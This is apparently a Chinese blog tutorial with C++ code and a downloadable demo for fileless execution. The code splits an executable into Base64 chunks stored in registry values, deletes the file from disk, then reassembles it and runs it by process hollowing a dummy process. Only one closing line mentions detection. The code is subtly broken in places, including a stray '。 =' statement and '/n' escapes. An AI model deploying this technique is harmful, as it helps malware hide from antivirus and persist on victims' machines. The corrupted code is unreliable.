第一节是关于将文件放入注册表中的。我们会介绍如何将一整个文件分割,然后分别写入多个键。之后会介绍怎样获取、拼接、执行这个文件。关于如何将文件存入注册表的方法有很多。注册表有不同的键值类型,能够存储各种类型的数据,包括原始二进制数据,32/64位值,还有字符串。在本例中,文件会经过Base64转码,然后以string (REG_SZ)类型写入。
把数据写入注册表的过程很简单。过程包括使用RegCreateKeyEx函数打开一个已存在的键的句柄,或者新建一个键,之后在调用RegGetValue和RegSetValueEx执行读写操作。以下的示例代码展示的就是这三个步骤:
const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true) { HKEY hKey = nullptr; DWORD dwResult = 0; LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0, nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY, nullptr, &hKey, &dwResult); if (lRet != ERROR_SUCCESS) { fprintf(stderr, "Could not create/open registry key. Error = %X/n", lRet); exit(-1); } if (bCreate && dwResult == REG_CREATED_NEW_KEY) { fprintf(stdout, "Created new registry key./n"); } else { fprintf(stdout, "Opened existing registry key./n"); } return hKey; } void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName, const BYTE *pBytes, const DWORD dwSize) { std::string strEncodedData = base64_encode(pBytes, dwSize); LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length()); if (lRet != ERROR_SUCCESS) { fprintf(stderr, "Could not write registry value. Error = %X/n", lRet); exit(-1); } } const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName, const char * const strValueName, bool &bErrorOccured) { DWORD dwType = 0; const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2; DWORD dwReadSize = dwMaxReadSize; char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 }; LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName, RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize); std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 }; std::string strDecoded = base64_decode(std::string(strBytesEncoded)); (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size()); if (lRet != ERROR_SUCCESS) { fprintf(stderr, "Could not read registry value. Error = %X/n", lRet); bErrorOccured = true; } if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize)) { fprintf(stderr, "Did not correctly read back a string from the registry./n"); bErrorOccured = true; } return pBytes; }
接下来主要就是将文件写入注册表了。还有一些细节问题,比如我们要将文件分割成及部分写入几个键中,这一部分由于篇幅有限就不再详细说明了,以下代码的功能就是把文件分成几部分写入注册表:
void WriteFileToRegistry(const char * const pFilePath) { HKEY hKey = OpenRegistryKey("RegistryTest"); std::string strSubName = "Part"; std::string strSizeName = "Size"; size_t ulIndex = 1; auto splitFile = SplitFile(pFilePath); for (size_t i = 0; i < splitFile.size(); ++i) { std::string strFullName(strSubName + std::to_string(ulIndex)); WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE); ++ulIndex; } CloseHandle(hKey); }
示例代码中的键是在HKCU//RegistryTest下。可执行文件会被以2048字节分割,然后经过base64编码,写入名为“Part1″, “Part2″, … “PartN”的值中。一个8KB的文件写入注册表后就会变成这样:
用 Base64解码器 就可以快速验证键的内容是否正确,把“Part1”键的内容放到解码器中就可以得到以下结果,里面包含了PE头的内容:
MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0] [0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0] [14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13] [10]$[0][0][0][0][0][0][0][181]!:
现在这个文件已经到注册表里了,文件可以从硬盘上删除。
现在文件已经被分割,存入注册表了。要从注册表获取文件无非就是把第一节的操作反一下——从注册表读取文件片段,用Base64解密,再将这些片段结合起来,代码如下:
NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName) { NewProcessInfo newProcessInfo = { 0 }; std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile; size_t ulKeyIndex = 1; std::string strFullName(strValueName + std::to_string(ulKeyIndex)); bool bErrorOccured = false; auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured); while (!bErrorOccured) { splitFile.push_back(partFile); ++ulKeyIndex; strFullName = strValueName + std::to_string(ulKeyIndex); partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured); } 。 = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]); memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE); size_t ulWriteIndex = 0; for (auto &split : splitFile) { (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(), READ_WRITE_SIZE); ++ulWriteIndex; } newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]); newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]); return newProcessInfo; }
这里的 ReadRegistryKeyString 函数,在之前的部分中介绍过,我们调用它来获取注册表中的文件片段。这些文件片段之后就被结合起来,储存在 newProcessInfo.pFileData 中。有些其他的地方也要初始化,比如PE文件的DOS头和NT头,这在下一节中很重要。
现在我们已从注册表中获取了文件,并将它储存在内存的缓冲区。如果直接把获取到的文件内容再写到硬盘上前面的操作就白做了。所以我们要用到的是进程挖空(process hollowing)的方法,以挂起状态启动一个假的进程,然后将其内存unmap。然后,我们把我们从注册表中获取的内容映射到这个进程中,这样就可以执行程序了。示例代码如下:
void ExecuteFileFromRegistry(const char * const pValueName) { HKEY hKey = OpenRegistryKey("RegistryTest"); auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName); auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe"); RunTargetProcess(newProcessInfo, processInfo); CloseHandle(hKey); }
MapTargetProcess 和 RunTargetProcess 就不在此说明了,我在2011年的一篇博文里提到过,代码很相近。
我想说明的是,只有在“假进程”和替代进程都是x86,并且关闭了DEP/ASLR的情况下,本文所提及的方法才奏效,关于如何让程序支持x64、如何支持开启DEP/ASLR的情况,我会在之后的博文里面教授。
这里的DummyProcess.exe(在文末的zip文件中有)就是被“挖空”,然后替换成另一个进程的程序,也就是ReplacementProcess.exe(也附在了文末的zip中)。Zip文件中的Sample文件夹提供了交互的示例,如果想要演示效果,你可以:
运行DummyProcess.exe,你就会观察到那是一个Win32 UI程序 运行write.bat,它会调用FilelessLauncher.exe将ReplacementProcess.exe程序写入HKCU//RegistryTest 删除ReplacementProcess.exe 运行execute.bat,它会调用FilelessLauncher.exe读取HKCU//RegistryTest,然后获取ReplacementProcess.exe,然后它会unmap DummyProcess.exe,然后将ReplacementProcess.exe写入进程。此时ReplacementProcess.exe就会重新运行,你就可以看到一个弹窗。
记得运行结束后清理一下注册表
本文介绍的技巧就是如何把可执行文件隐藏在Windows注册表里。应对的方法有很多,比如我们可以监控注册表,或者检查NtUnmapViewOfSection是否被调用。
VS2015 密码:53kj
GitHub
代码在Windows 7, 8.1和10测试通过。